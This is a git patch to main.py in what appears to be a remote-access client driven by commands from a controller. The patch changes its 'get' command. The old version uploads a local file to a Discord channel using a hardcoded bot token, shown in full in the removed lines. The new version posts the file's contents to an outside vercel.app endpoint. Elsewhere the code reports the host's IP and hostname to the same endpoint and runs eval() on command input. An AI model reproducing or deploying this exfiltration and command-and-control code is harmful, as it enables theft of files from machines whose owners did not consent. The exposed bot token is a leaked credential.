From fc9bc6bd79a29bc03008ba145faa793b779d47dd Mon Sep 17 00:00:00 2001 From: mrdog233o5 Date: Sat, 2 Sep 2023 13:47:38 +0800 Subject: bruh --- main.py | 21 +++++++-------------- 1 file changed, 7 insertions(+), 14 deletions(-) diff --git a/main.py b/main.py index 285c917..ab04719 100644 --- a/main.py +++ b/main.py @@ -70,25 +70,17 @@ while True: old_command = "" continue if command.startswith("get "): - token = "OTEyMDExNjQzOTQ3NDc5MDgx.G_0FA6.4NubZfVPRUAiyVEaJiK39i78NCS-nH8RRKYcP4" - channel_id = '1140989222556274721' - url = f'https://discord.com/api/v9/channels/{channel_id}/messages' + print(command) localcmd = command.split() - path = "../" + localcmd[1] - file = open(path, "rb").read() - fileJson = { - "file" : (str(path), open(str(path), 'rb')) - } - payload = { - "content":"message" - } - header = {'Authorization': f'Bot {token}'} - + path = localcmd[1] + file = [str(path), open(str("../"+path), 'rb').read()] + file = str(file) try: - post(url, data = payload, headers=header, files=fileJson) + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file) except: pass old_command = commandId + continue if command.startswith("webfile "): localcmd = command.split(maxsplit=1) files = eval(localcmd[1]) @@ -527,6 +519,7 @@ while True: except KeyboardInterrupt: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") + except KeyboardInterrupt: continue continue -- cgit v1.2.3